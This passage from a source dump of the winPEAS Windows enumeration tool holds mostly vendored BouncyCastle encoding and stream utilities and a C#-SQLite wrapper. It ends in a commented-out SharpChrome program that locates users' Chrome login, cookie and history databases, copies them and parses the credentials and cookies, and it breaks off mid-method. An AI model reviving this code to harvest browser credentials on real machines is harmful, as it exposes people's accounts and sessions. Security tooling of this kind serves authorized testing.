       }\n\n            int i = off;\n            while (i < end)\n            {\n                while (i < end && Ignore((char)data[i]))\n                {\n                    i++;\n                }\n\n                b1 = decodingTable[data[i++]];\n\n                while (i < end && Ignore((char)data[i]))\n                {\n                    i++;\n                }\n\n                b2 = decodingTable[data[i++]];\n\n                if ((b1 | b2) >= 0x80)\n                    throw new IOException(\"invalid characters encountered in Hex data\");\n\n                buf[bufOff++] = (byte)((b1 << 4) | b2);\n\n                if (bufOff == buf.Length)\n                {\n                    outStream.Write(buf, 0, bufOff);\n                    bufOff = 0;\n                }\n\n                outLen++;\n            }\n\n            if (bufOff > 0)\n            {\n                outStream.Write(buf, 0, bufOff);\n            }\n\n            return outLen;\n        }\n\n        /**\n        * decode the Hex encoded string data writing it to the given output stream,\n        * whitespace characters will be ignored.\n        *\n        * @return the number of bytes produced.\n        */\n        public int DecodeString(\n            string data,\n            Stream outStream)\n        {\n            byte b1, b2;\n            int length = 0;\n            byte[] buf = new byte[36];\n            int bufOff = 0;\n            int end = data.Length;\n\n            while (end > 0)\n            {\n                if (!Ignore(data[end - 1]))\n                {\n                    break;\n                }\n\n                end--;\n            }\n\n            int i = 0;\n            while (i < end)\n            {\n                while (i < end && Ignore(data[i]))\n                {\n                    i++;\n                }\n\n                b1 = decodingTable[data[i++]];\n\n                while (i < end && Ignore(data[i]))\n                {\n                    i++;\n                }\n\n                b2 = decodingTable[data[i++]];\n\n                if ((b1 | b2) >= 0x80)\n                    throw new IOException(\"invalid characters encountered in Hex data\");\n\n                buf[bufOff++] = (byte)((b1 << 4) | b2);\n\n                if (bufOff == buf.Length)\n                {\n                    outStream.Write(buf, 0, bufOff);\n                    bufOff = 0;\n                }\n\n                length++;\n            }\n\n            if (bufOff > 0)\n            {\n                outStream.Write(buf, 0, bufOff);\n            }\n\n            return length;\n        }\n\n        internal byte[] DecodeStrict(string str, int off, int len)\n        {\n            if (null == str)\n                throw new ArgumentNullException(\"str\");\n            if (off < 0 || len < 0 || off > (str.Length - len))\n                throw new IndexOutOfRangeException(\"invalid offset and/or length specified\");\n            if (0 != (len & 1))\n                throw new ArgumentException(\"a hexadecimal encoding must have an even number of characters\", \"len\");\n\n            int resultLen = len >> 1;\n            byte[] result = new byte[resultLen];\n\n            int strPos = off;\n            for (int i = 0; i < resultLen; ++i)\n            {\n                byte b1 = decodingTable[str[strPos++]];\n                byte b2 = decodingTable[str[strPos++]];\n\n                if ((b1 | b2) >= 0x80)\n                    throw new IOException(\"invalid characters encountered in Hex data\");\n\n                result[i] = (byte)((b1 << 4) | b2);\n            }\n            return result;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/encoders/IEncoder.cs",
    "content": "﻿using System.IO;\n\nnamespace winPEAS._3rdParty.BouncyCastle.util.encoders\n{\n\t/**\n\t  * Encode and decode byte arrays (typically from binary to 7-bit ASCII\n\t  * encodings).\n\t  */\n\tpublic interface IEncoder\n\t{\n\t\tint Encode(byte[] data, int off, int length, Stream outStream);\n\n\t\tint Decode(byte[] data, int off, int length, Stream outStream);\n\n\t\tint DecodeString(string data, Stream outStream);\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/io/BaseInputStream.cs",
    "content": "﻿using System;\nusing System.IO;\n\nnamespace winPEAS._3rdParty.BouncyCastle.util.io\n{\n    public abstract class BaseInputStream : Stream\n    {\n        private bool closed;\n\n        public sealed override bool CanRead { get { return !closed; } }\n        public sealed override bool CanSeek { get { return false; } }\n        public sealed override bool CanWrite { get { return false; } }\n\n#if PORTABLE\n        protected override void Dispose(bool disposing)\n        {\n            if (disposing)\n            {\n                closed = true;\n            }\n            base.Dispose(disposing);\n        }\n#else\n        public override void Close()\n        {\n            closed = true;\n            base.Close();\n        }\n#endif\n\n        public sealed override void Flush() { }\n        public sealed override long Length { get { throw new NotSupportedException(); } }\n        public sealed override long Position\n        {\n            get { throw new NotSupportedException(); }\n            set { throw new NotSupportedException(); }\n        }\n\n        public override int Read(byte[] buffer, int offset, int count)\n        {\n            int pos = offset;\n            try\n            {\n                int end = offset + count;\n                while (pos < end)\n                {\n                    int b = ReadByte();\n                    if (b == -1) break;\n                    buffer[pos++] = (byte)b;\n                }\n            }\n            catch (IOException)\n            {\n                if (pos == offset) throw;\n            }\n            return pos - offset;\n        }\n\n        public sealed override long Seek(long offset, SeekOrigin origin) { throw new NotSupportedException(); }\n        public sealed override void SetLength(long value) { throw new NotSupportedException(); }\n        public sealed override void Write(byte[] buffer, int offset, int count) { throw new NotSupportedException(); }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/io/StreamOverflowException.cs",
    "content": "﻿using System;\nusing System.IO;\n\nnamespace winPEAS._3rdParty.BouncyCastle.util.io\n{\n#if !(NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE)\n\t[Serializable]\n#endif\n\tpublic class StreamOverflowException\n\t\t: IOException\n\t{\n\t\tpublic StreamOverflowException()\n\t\t\t: base()\n\t\t{\n\t\t}\n\n\t\tpublic StreamOverflowException(\n\t\t\tstring message)\n\t\t\t: base(message)\n\t\t{\n\t\t}\n\n\t\tpublic StreamOverflowException(\n\t\t\tstring message,\n\t\t\tException exception)\n\t\t\t: base(message, exception)\n\t\t{\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/io/Streams.cs",
    "content": "﻿using System.IO;\n\nnamespace winPEAS._3rdParty.BouncyCastle.util.io\n{\n\tpublic sealed class Streams\n\t{\n\t\tprivate const int BufferSize = 512;\n\n\t\tprivate Streams()\n\t\t{\n\t\t}\n\n\t\tpublic static void Drain(Stream inStr)\n\t\t{\n\t\t\tbyte[] bs = new byte[BufferSize];\n\t\t\twhile (inStr.Read(bs, 0, bs.Length) > 0)\n\t\t\t{\n\t\t\t}\n\t\t}\n\n\t\tpublic static byte[] ReadAll(Stream inStr)\n\t\t{\n\t\t\tMemoryStream buf = new MemoryStream();\n\t\t\tPipeAll(inStr, buf);\n\t\t\treturn buf.ToArray();\n\t\t}\n\n\t\tpublic static byte[] ReadAllLimited(Stream inStr, int limit)\n\t\t{\n\t\t\tMemoryStream buf = new MemoryStream();\n\t\t\tPipeAllLimited(inStr, limit, buf);\n\t\t\treturn buf.ToArray();\n\t\t}\n\n\t\tpublic static int ReadFully(Stream inStr, byte[] buf)\n\t\t{\n\t\t\treturn ReadFully(inStr, buf, 0, buf.Length);\n\t\t}\n\n\t\tpublic static int ReadFully(Stream inStr, byte[] buf, int off, int len)\n\t\t{\n\t\t\tint totalRead = 0;\n\t\t\twhile (totalRead < len)\n\t\t\t{\n\t\t\t\tint numRead = inStr.Read(buf, off + totalRead, len - totalRead);\n\t\t\t\tif (numRead < 1)\n\t\t\t\t\tbreak;\n\t\t\t\ttotalRead += numRead;\n\t\t\t}\n\t\t\treturn totalRead;\n\t\t}\n\n\t\tpublic static void PipeAll(Stream inStr, Stream outStr)\n\t\t{\n\t\t\tbyte[] bs = new byte[BufferSize];\n\t\t\tint numRead;\n\t\t\twhile ((numRead = inStr.Read(bs, 0, bs.Length)) > 0)\n\t\t\t{\n\t\t\t\toutStr.Write(bs, 0, numRead);\n\t\t\t}\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Pipe all bytes from <c>inStr</c> to <c>outStr</c>, throwing <c>StreamFlowException</c> if greater\n\t\t/// than <c>limit</c> bytes in <c>inStr</c>.\n\t\t/// </summary>\n\t\t/// <param name=\"inStr\">\n\t\t/// A <see cref=\"Stream\"/>\n\t\t/// </param>\n\t\t/// <param name=\"limit\">\n\t\t/// A <see cref=\"System.Int64\"/>\n\t\t/// </param>\n\t\t/// <param name=\"outStr\">\n\t\t/// A <see cref=\"Stream\"/>\n\t\t/// </param>\n\t\t/// <returns>The number of bytes actually transferred, if not greater than <c>limit</c></returns>\n\t\t/// <exception cref=\"IOException\"></exception>\n\t\tpublic static long PipeAllLimited(Stream inStr, long limit, Stream outStr)\n\t\t{\n\t\t\tbyte[] bs = new byte[BufferSize];\n\t\t\tlong total = 0;\n\t\t\tint numRead;\n\t\t\twhile ((numRead = inStr.Read(bs, 0, bs.Length)) > 0)\n\t\t\t{\n\t\t\t\tif ((limit - total) < numRead)\n\t\t\t\t\tthrow new StreamOverflowException(\"Data Overflow\");\n\t\t\t\ttotal += numRead;\n\t\t\t\toutStr.Write(bs, 0, numRead);\n\t\t\t}\n\t\t\treturn total;\n\t\t}\n\n\t\t/// <exception cref=\"IOException\"></exception>\n\t\tpublic static void WriteBufTo(MemoryStream buf, Stream output)\n\t\t{\n\t\t\tbuf.WriteTo(output);\n\t\t}\n\n\t\t/// <exception cref=\"IOException\"></exception>\n\t\tpublic static int WriteBufTo(MemoryStream buf, byte[] output, int offset)\n\t\t{\n#if PORTABLE\n            byte[] bytes = buf.ToArray();\n            bytes.CopyTo(output, offset);\n            return bytes.Length;\n#else\n\t\t\tint size = (int)buf.Length;\n\t\t\tbuf.WriteTo(new MemoryStream(output, offset, size, true));\n\t\t\treturn size;\n#endif\n\t\t}\n\n\t\tpublic static void WriteZeroes(Stream outStr, long count)\n\t\t{\n\t\t\tbyte[] zeroes = new byte[BufferSize];\n\t\t\twhile (count > BufferSize)\n\t\t\t{\n\t\t\t\toutStr.Write(zeroes, 0, BufferSize);\n\t\t\t\tcount -= BufferSize;\n\t\t\t}\n\t\t\toutStr.Write(zeroes, 0, (int)count);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/README.txt",
    "content": "=================================================================================================\n\n$Header$\n=================================================================================================\n\nProject Descriptions -- See the Wiki Projects for details\n\nPlease read HowToCompile for instruction on settings and compiler options\n\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/SQLiteDatabase.cs",
    "content": "//  $Header$\n\nusing System;\nusing System.Collections;\nusing System.Data;\nusing winPEAS._3rdParty.SQLite.src;\n\nnamespace winPEAS._3rdParty.SQLite\n{\n\n    using sqlite = CSSQLite.sqlite3;\n    using Vdbe = CSSQLite.Vdbe;\n  /// <summary>\n  /// C#-SQLite wrapper with functions for opening, closing and executing queries.\n  /// </summary>\n    public class SQLiteDatabase\n    {\n        // pointer to database\n        private sqlite db;\n\n        /// <summary>\n        /// Creates new instance of SQLiteBase class with no database attached.\n        /// </summary>\n        public SQLiteDatabase()\n        {\n            db = null;\n        }\n        /// <summary>\n        /// Creates new instance of SQLiteDatabase class and opens database with given name.\n        /// </summary>\n        /// <param name=\"DatabaseName\">Name (and path) to SQLite database file</param>\n        public SQLiteDatabase( String DatabaseName )\n        {\n            OpenDatabase( DatabaseName );\n        }\n\n        /// <summary>\n        /// Opens database. \n        /// </summary>\n        /// <param name=\"DatabaseName\">Name of database file</param>\n        public void OpenDatabase( String DatabaseName )\n        {\n            // opens database \n            if ( CSSQLite.sqlite3_open( DatabaseName, ref db ) != CSSQLite.SQLITE_OK )\n            {\n            // if there is some error, database pointer is set to 0 and exception is throws\n            db = null;\n            throw new Exception( \"Error with opening database \" + DatabaseName + \"!\" );\n            }\n        }\n\n        /// <summary>\n        /// Closes opened database.\n        /// </summary>\n        public void CloseDatabase()\n        {\n            // closes the database if there is one opened\n            if ( db != null )\n            {\n            CSSQLite.sqlite3_close( db );\n            }\n        }\n\n        /// <summary>\n        /// Returns connection\n        /// </summary>\n        public sqlite Connection()\n        {\n            return db;\n        }\n\n        /// <summary>\n        /// Returns the list of tables in opened database.\n        /// </summary>\n        /// <returns></returns>\n        public ArrayList GetTables()\n        {\n            // executes query that select names of all tables in master table of the database\n            String query = \"SELECT name FROM sqlite_master \" +\n                                        \"WHERE type = 'table'\" +\n                                        \"ORDER BY 1\";\n            DataTable table = ExecuteQuery( query );\n\n            // Return all table names in the ArrayList\n            ArrayList list = new ArrayList();\n            foreach ( DataRow row in table.Rows )\n            {\n            list.Add( row.ItemArray[0].ToString() );\n            }\n            return list;\n        }\n\n        /// <summary>\n        /// Executes query that does not return anything (e.g. UPDATE, INSERT, DELETE).\n        /// </summary>\n        /// <param name=\"query\"></param>\n        public void ExecuteNonQuery( String query )\n        {\n            // calles SQLite function that executes non-query\n            CSSQLite.sqlite3_exec( db, query, 0, 0, 0 );\n            // if there is error, excetion is thrown\n            if ( db.errCode != CSSQLite.SQLITE_OK )\n            throw new Exception( \"Error with executing non-query: \\\"\" + query + \"\\\"!\\n\" + CSSQLite.sqlite3_errmsg( db ) );\n        }\n\n        /// <summary>\n        /// Executes query that does return something (e.g. SELECT).\n        /// </summary>\n        /// <param name=\"query\"></param>\n        /// <returns></returns>\n        public DataTable ExecuteQuery( String query )\n        {\n            // compiled query\n            SQLiteVdbe statement = new SQLiteVdbe(this, query);\n\n            // table for result of query\n            DataTable table = new DataTable();\n\n            // create new instance of DataTable with name \"resultTable\"\n            table = new DataTable( \"resultTable\" );\n\n            // reads rows\n            do { } while ( ReadNextRow( statement.VirtualMachine(), table ) == CSSQLite.SQLITE_ROW );\n            // finalize executing this query\n            statement.Close();\n            // returns table\n            return table;\n        }\n\n        // private function for reading rows and creating table and columns\n        private int ReadNextRow( Vdbe vm, DataTable table )\n        {\n            int columnCount = table.Columns.Count;\n            if ( columnCount == 0 )\n            {\n            if ( ( columnCount = ReadColumnNames( vm, table ) ) == 0 ) return CSSQLite.SQLITE_ERROR;\n            }\n\n            int resultType;\n            if ( ( resultType = CSSQLite.sqlite3_step( vm) ) == CSSQLite.SQLITE_ROW )\n            {\n            object[] columnValues = new object[columnCount];\n\n            for ( int i = 0 ; i < columnCount ; i++ )\n            {\n                int columnType = CSSQLite.sqlite3_column_type( vm, i );\n                switch ( columnType )\n                {\n                case CSSQLite.SQLITE_INTEGER:\n                    {\n                    columnValues[i] = CSSQLite.sqlite3_column_int( vm, i );\n                    break;\n                    }\n                case CSSQLite.SQLITE_FLOAT:\n                    {\n                    columnValues[i] = CSSQLite.sqlite3_column_double( vm, i );\n                    break;\n                    }\n                case CSSQLite.SQLITE_TEXT:\n                    {\n                    columnValues[i] = CSSQLite.sqlite3_column_text( vm, i );\n                    break;\n                    }\n                case CSSQLite.SQLITE_BLOB:\n                            {\n                                // Something goes wrong between adding this as a column value and converting to a row value.\n                                byte[] encBlob = CSSQLite.sqlite3_column_blob(vm, i);\n                                string base64 = Convert.ToBase64String(encBlob);\n                                //byte[] decPass = ProtectedData.Unprotect(encBlob, null, DataProtectionScope.CurrentUser);\n                                //string password = Encoding.ASCII.GetString(decPass);\n                                //columnValues[i] = password;\n                                columnValues[i] = base64;\n                                \n                    break;\n                    }\n                default:\n                    {\n                    columnValues[i] = \"\";\n                    break;\n                    }\n                }\n            }\n            table.Rows.Add( columnValues );\n            }\n            return resultType;\n        }\n        // private function for creating Column Names\n        // Return number of colums read\n        private int ReadColumnNames( Vdbe vm, DataTable table )\n        {\n\n            String columnName = \"\";\n            int columnType = 0;\n            // returns number of columns returned by statement\n            int columnCount = CSSQLite.sqlite3_column_count( vm );\n            object[] columnValues = new object[columnCount];\n\n            try\n            {\n            // reads columns one by one\n            for ( int i = 0 ; i < columnCount ; i++ )\n            {\n                columnName = CSSQLite.sqlite3_column_name( vm, i );\n                columnType = CSSQLite.sqlite3_column_type( vm, i );\n                switch ( columnType )\n                {\n                case CSSQLite.SQLITE_INTEGER:\n                    {\n                    // adds new integer column to table\n                    table.Columns.Add( columnName, Type.GetType( \"System.Int64\" ) );\n                    break;\n                    }\n                case CSSQLite.SQLITE_FLOAT:\n                    {\n                    table.Columns.Add( columnName, Type.GetType( \"System.Double\" ) );\n                    break;\n                    }\n                case CSSQLite.SQLITE_TEXT:\n                    {\n                    table.Columns.Add( columnName, typeof(string) );\n                    break;\n                    }\n                case CSSQLite.SQLITE_BLOB:\n                    {\n                    table.Columns.Add( columnName, typeof(byte[]) );\n                    break;\n                    }\n                default:\n                    {\n                    table.Columns.Add( columnName, Type.GetType( \"System.String\" ) );\n                    break;\n                    }\n                }\n            }\n            }\n            catch\n            {\n            return 0;\n            }\n            return table.Columns.Count;\n        }\n\n    }\n\n}\n\n//namespace SharpChrome\n//{\n//    using CS_SQLite3;\n//    class Program\n//    {\n//        static void Usage()\n//        {\n//            string banner = @\"\n//Usage:\n//    .\\sharpchrome.exe arg0 [arg1 arg2 ...]\n\n//Arguments:\n//    all       - Retrieve all Chrome Bookmarks, History, Cookies and Logins.\n//    full      - The same as 'all'\n//    logins    - Retrieve all saved credentials that have non-empty passwords.\n//    history   - Retrieve user's history with a count of each time the URL was\n//                visited, along with cookies matching those items.\n//    cookies [domain1.com domain2.com] - Retrieve the user's cookies in JSON format.\n//                                        If domains are passed, then return only\n//                                        cookies matching those domains.\n//\";\n\n//            Console.WriteLine(banner);\n//        }\n//        static void Main(string[] args)\n//        {\n//            // Path builder for Chrome install location\n//            string homeDrive = System.Environment.GetEnvironmentVariable(\"HOMEDRIVE\");\n//            string homePath = System.Environment.GetEnvironmentVariable(\"HOMEPATH\");\n//            string localAppData = System.Environment.GetEnvironmentVariable(\"LOCALAPPDATA\");\n\n//            string[] paths = new string[2];\n//            paths[0] = homeDrive + homePath + \"\\\\Local Settings\\\\Application Data\\\\Google\\\\Chrome\\\\User Data\";\n//            paths[1] = localAppData + \"\\\\Google\\\\Chrome\\\\User Data\";\n//            //string chromeLoginDataPath = \"C:\\\\Users\\\\Dwight\\\\Desktop\\\\Login Data\";\n\n//            string[] validArgs = { \"all\", \"full\", \"logins\", \"history\", \"cookies\" };\n\n//            bool getCookies = false;\n//            bool getHistory = false;\n//            bool getBookmarks = false;\n//            bool getLogins = false;\n//            bool useTmpFile = false;\n//            // For filtering cookies\n//            List<String> domains = new List<String>();\n\n//            if (args.Length == 0)\n//            {\n//                Usage();\n//                return;\n//            }\n\n//            // Parse the arguments.\n//            for(int i=0; i < args.Length; i++)\n//            {\n//                // Valid arg!\n//                string arg = args[i].ToLower();\n//                if (Array.IndexOf(validArgs, arg) != -1)\n//                {\n//                    if (arg == \"all\" || arg == \"full\")\n//                    {\n//                        getCookies = true;\n//                        getHistory = true;\n//                        getLogins = true;\n//                    }\n//                    else if (arg == \"logins\")\n//                    {\n//                        getLogins = true;\n//                    }\n//                    else if (arg == \"history\")\n//                    {\n//                        getHistory = true;\n//                    }\n//                    else if (arg == \"cookies\")\n//                    {\n//                        getCookies = true;\n//                    }\n//                    else\n//                    {\n//                        Console.WriteLine(\"[X] Invalid argument passed: {0}\", arg);\n//                    }\n//                }\n//                else if (getCookies && arg.Contains(\".\"))\n//                {\n//                    // must be a domain!\n//                    domains.Add(arg);\n//                }\n//                else\n//                {\n//                    Console.WriteLine(\"[X] Invalid argument passed: {0}\", arg);\n//                }\n//            }\n//            string[] domainArray = domains.ToArray();\n\n//            if (!getCookies && !getHistory && !getLogins)\n//            {\n//                Usage();\n//                return;\n//            }\n\n//            // If Chrome is running, we'll need to clone the files we wish to parse.\n//            Process[] chromeProcesses = Process.GetProcessesByName(\"chrome\");\n//            if (chromeProcesses.Length > 0)\n//            {\n//                useTmpFile = true;\n//            }\n\n//            //foreach(string path in paths)\n//            //{\n\n//            //}\n//            //GetLogins(chromeLoginDataPath);\n\n//            // Main loop, path parsing and high integrity check taken from GhostPack/SeatBelt\n//            try\n//            {\n//                if (IsHighIntegrity())\n//                {\n//                    Console.WriteLine(\"\\r\\n\\r\\n=== Chrome (All Users) ===\");\n\n//                    string userFolder = String.Format(\"{0}\\\\Users\\\\\", Environment.GetEnvironmentVariable(\"SystemDrive\"));\n//                    string[] dirs = Directory.GetDirectories(userFolder);\n//                    foreach (string dir in dirs)\n//                    {\n//                        string[] parts = dir.Split('\\\\');\n//                        string userName = parts[parts.Length - 1];\n//                        if (!(dir.EndsWith(\"Public\") || dir.EndsWith(\"Default\") || dir.EndsWith(\"Default User\") || dir.EndsWith(\"All Users\")))\n//                        {\n//                            string userChromeHistoryPath = String.Format(\"{0}\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\History\", dir);\n//                            string userChromeBookmarkPath = String.Format(\"{0}\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Bookmarks\", dir);\n//                            string userChromeLoginDataPath = String.Format(\"{0}\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data\", dir);\n//                            string userChromeCookiesPath = String.Format(\"{0}\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Cookies\", dir);\n//                            // History parse\n//                            if (useTmpFile)\n//                            {\n//                                if (getCookies)\n//                                {\n//                                    userChromeCookiesPath = CreateTempFile(userChromeCookiesPath);\n//                                    if (domainArray.Length > 0)\n//                                    {\n//                                        HostCookies[] cookies = ParseChromeCookies(userChromeCookiesPath, userName, true, domainArray);\n//                                    }\n//                                    else\n//                                    {\n//                                        HostCookies[] cookies = ParseChromeCookies(userChromeCookiesPath, userName, true);\n//                                    }\n//                                    File.Delete(userChromeCookiesPath);\n//                                }\n\n//                                if (getHistory)\n//                                {\n//                                    userChromeCookiesPath = CreateTempFile(userChromeCookiesPath);\n//                                    HostCookies[] cookies = ParseChromeCookies(userChromeCookiesPath, userName);\n//                                    File.Delete(userChromeCookiesPath);\n//                                    userChromeHistoryPath = CreateTempFile(userChromeHistoryPath);\n//                                    ParseChromeHistory(userChromeHistoryPath, userName, cookies);\n//                                    File.Delete(userChromeHistoryPath);\n//                                }\n\n//                                if (getLogins)\n//                                {\n//                                    userChromeLoginDataPath = CreateTempFile(userChromeLoginDataPath);\n//                                    ParseChromeLogins(userChromeLoginDataPath, userName);\n//                                    File.Delete(userChromeLoginDataPath);\n//                                }\n//                            }\n//                            else\n//                            {\n//                                if (getCookies)\n//                                {\n//                                    if (domainArray.Length > 0)\n//                                    {\n//                                        ParseChromeCookies(userChromeCookiesPath, userName, true, domainArray);\n//                                    }\n//                                    else\n//                                    {\n//                                        ParseChromeCookies(userChromeCookiesPath, userName, true);\n//                                    }\n//                                }\n\n//                                if (getHistory)\n//                                {\n//                                    HostCookies[] cookies = ParseChromeCookies(userChromeCookiesPath, userName);\n//                                    ParseChromeHistory(userChromeHistoryPath, userName, cookies);\n//                                }\n\n//                                if (getLogins)\n//                                {\n//                                    ParseChromeLogins(userChromeLoginDataPath, userName);\n//                                }\n//                            }\n//                        }\n//                    }\n//                }\n//                else\n//                {\n//                    Console.WriteLine(\"\\r\\n\\r\\n=== Chrome (Current User) ===\");\n//                    string userChromeHistoryPath = String.Format(\"{0}\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\History\", System.Environment.GetEnvironmentVariable(\"USERPROFILE\"));\n//                    string userChromeBookmarkPath = String.Format(\"{0}\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Bookmarks\", System.Environment.GetEnvironmentVariable(\"USERPROFILE\"));\n//                    //ParseChromeBookmarks(userChromeBookmarkPath, System.Environment.GetEnvironmentVariable(\"USERNAME\"));\n//                    string userChromeCookiesPath = String.Format(\"{0}\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Cookies\", System.Environment.GetEnvironmentVariable(\"USERPROFILE\"));\n//                    string userChromeLoginDataPath = String.Format(\"{0}\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data\", System.Environment.GetEnvironmentVariable(\"USERPROFILE\"));\n//                    //ParseChromeLogins(userChromeLoginDataPath, System.Environment.GetEnvironmentVariable(\"USERNAME\"));\n//                    if (useTmpFile)\n//                    {\n//                        if (getCookies)\n//                        {\n//                            userChromeCookiesPath = CreateTempFile(userChromeCookiesPath);\n//                            if (domainArray.Length > 0)\n//                            {\n//                                ParseChromeCookies(userChromeCookiesPath, System.Environment.GetEnvironmentVariable(\"USERNAME\"), true, domainArray);\n//                            }\n//                            else\n//                            {\n//                                ParseChromeCookies(userChromeCookiesPath, System.Environment.GetEnvironmentVariable(\"USERNAME\"), true);\n//                            }\n//                            File.Delete(userChromeCookiesPath);\n//                        }\n\n//                        if (getHistory)\n//                        {\n//                            userChromeCookiesPath = CreateTempFile(userChromeCookiesPath);\n//                            HostCookies[] cookies = ParseChromeCookies(userChromeCookiesPath, System.Environment.GetEnvironmentVariable(\"USERNAME\"));\n//                            File.Delete(userChromeCookiesPath);\n//                            userChromeHistoryPath = CreateTempFile(userChromeHistoryPath);\n//                            ParseChromeHistory(userChromeHistoryPath, System.Environment.GetEnvironmentVariable(\"USERNAME\"), cookies);\n//                            File.Delete(userChromeHistoryPath);\n//                        }\n\n//                        if (getLogins)\n//                        {\n//                            userChromeLoginDataPath = CreateTempFile(userChromeLoginDataPath);\n//                            ParseChromeLogins(userChromeLoginDataPath, System.Environment.GetEnvironmentVariable(\"USERNAME\"));\n//                            File.Delete(userChromeLoginDataPath);\n//                        }\n//                    }\n//                    else\n//                    {\n//                        if (getCookies)\n//                        {\n//                            if (domainArray.Length > 0)\n//                            {\n//                                ParseChromeCookies(userChromeCookiesPath, System.Environment.GetEnvironmentVariable(\"USERNAME\"), true, domainArray);\n//                            }\n//                            else\n//                            {\n//                                ParseChromeCookies(userChromeCookiesPath, System.Environment.GetEnvironmentVariable(\"USERNAME\"), true);\n//                            }\n//                        }\n\n//                        if (getHistory)\n//                        {\n//                            HostCookies[] cookies = ParseChromeCookies(userChromeCookiesPath, System.Environment.GetEnvironmentVariable(\"USERNAME\"));\n//                            ParseChromeHistory(userChromeHistoryPath, System.Environment.GetEnvironmentVariable(\"USERNAME\"), cookies);\n//                        }\n\n//                        if (getLogins)\n//                        {\n//                            ParseChromeLogins(userChromeLoginDataPath, System.Environment.GetEnvironmentVariable(\"USERNAME\"));\n//                        }\n//                    }\n//                }\n//            }\n//            catch (Exception ex)\n//            {\n//                Console.WriteLine(\"  [X] Exception: {0}\", ex.Message);\n//            }\n//            //Thread.Sleep(100000);\n//        }\n\n//        public static string CreateTempFile(string filePath)\n//        {\n//            string localAppData = System.Environment.GetEnvironmentVariable(\"LOCALAPPDATA\");\n//            string newFile = \"\";\n//            newFile = Path.GetRandomFileName();\n//            string tempFileName = localAppData + \"\\\\Temp\\\\\" + newFile;\n//            File.Copy(filePath, tempFileName);\n//            return tempFileName;\n//        }\n\n//        public class Cookie\n//        {\n//            private string _domain;\n//            private long _expirationDate;\n//            private bool _hostOnly;\n//            private bool _httpOnly;\n//            private string _name;\n//            private string _path;\n//            private string _sameSite;\n//            private bool _secure;\n//            private bool _session;\n//            private string _storeId;\n//            private string _value;\n//            private int _id;\n\n//            // Getters and setters\n//            public string Domain\n//            {\n//                get { return _domain; }\n//                set { _domain = value; }\n//            }\n//            public long ExpirationDate\n//            {\n//                get { return _expirationDate; }\n//                set { _expirationDate = value; }\n//            }\n//            public bool HostOnly\n//            {\n//                get { return _hostOnly; }\n//                set { _hostOnly = value; }\n//            }\n//            public bool HttpOnly\n//            {\n//                get { return _httpOnly; }\n//                set { _httpOnly = value; }\n//            }\n//            public string Name\n//            {\n//                get { return _name; }\n//                set { _name = value; }\n//            }\n//            public string Path\n//            {\n//                get { return _path; }\n//                set { _path = value; }\n//            }\n//            public string SameSite\n//            {\n//                get { return _sameSite; }\n//                set { _sameSite = value; }\n//            }\n//            public bool Secure\n//            {\n//                get { return _secure; }\n//                set { _secure = value; }\n//            }\n//            public bool Session\n//            {\n//                get { return _session; }\n//                set { _session = value; }\n//            }\n//            public string StoreId\n//            {\n//                get { return _storeId; }\n//                set { _storeId = value; }\n//            }\n//            public string Value\n//            {\n//                get { return _value; }\n//                set { _value = value; }\n//            }\n//            public int Id\n//            {\n//                get { return _id; }\n//                set { _id = value; }\n//            }\n\n//            public string ToJSON()\n//            {\n//                Type type = this.GetType();\n//                PropertyInfo[] properties = type.GetProperties();\n//                string[] jsonItems = new string[properties.Length]; // Number of items in EditThisCookie\n//                for(int i = 0; i < properties.Length; i++)\n//                {\n//                    PropertyInfo property = properties[i];\n//                    object[] keyvalues = { property.Name[0].ToString().ToLower() + property.Name.Substring(1, property.Name.Length-1), property.GetValue(this, null) };\n//                    string jsonString = \"\";\n//                    if (keyvalues[1].GetType() == typeof(String))\n//                    {\n//                        jsonString = String.Format(\"\\\"{0}\\\": \\\"{1}\\\"\", keyvalues);\n//                    }\n//                    else if (keyvalues[1].GetType() == typeof(Boolean))\n//                    {\n//                        keyvalues[1] = keyvalues[1].ToString().ToLower();\n//                        jsonString = String.Format(\"\\\"{0}\\\": {1}\", keyvalues);\n//                    }\n//                    else\n//                    {\n//                        jsonString = String.Format(\"\\\"{0}\\\": {1}\", keyvalues);\n//                    }\n//                    jsonItems[i] = jsonString;\n//                }\n//                string results = \"{\" + String.Join(\", \", jsonItems) + \"}\"; \n//                return results;\n//            }\n//        }\n\n//        public class HostCookies\n//        {\n//            private Cookie[] _cookies;\n//            private string _hostName;\n\n//            public Cookie[] Cookies\n//            {\n//                get { return _cookies; }\n//                set { _cookies = value; }\n//            }\n\n//            public string HostName\n//            {\n//                get { return _hostName; }\n//                set { _hostName = value; }\n//            }\n\n//            public string ToJSON()\n//            {\n//                string[] jsonCookies = new string[this.Cookies.Length];\n//                for(int i=0; i < this.Cookies.Length; i++)\n//                {\n//                    this.Cookies[i].Id = i+1;\n//                    jsonCookies[i] = this.Cookies[i].ToJSON();\n//                }\n//                return \"[\" + String.Join(\",\", jsonCookies) + \"]\";\n//            }\n//        }\n\n//        public static HostCookies[] SortCookieData(DataTable cookieTable)\n//        {\n//            List<Cookie> cookies = new List<Cookie>();\n//            List<HostCookies> hostCookies = new List<HostCookies>();\n//            HostCookies hostInstance = null;\n//            string lastHostKey = 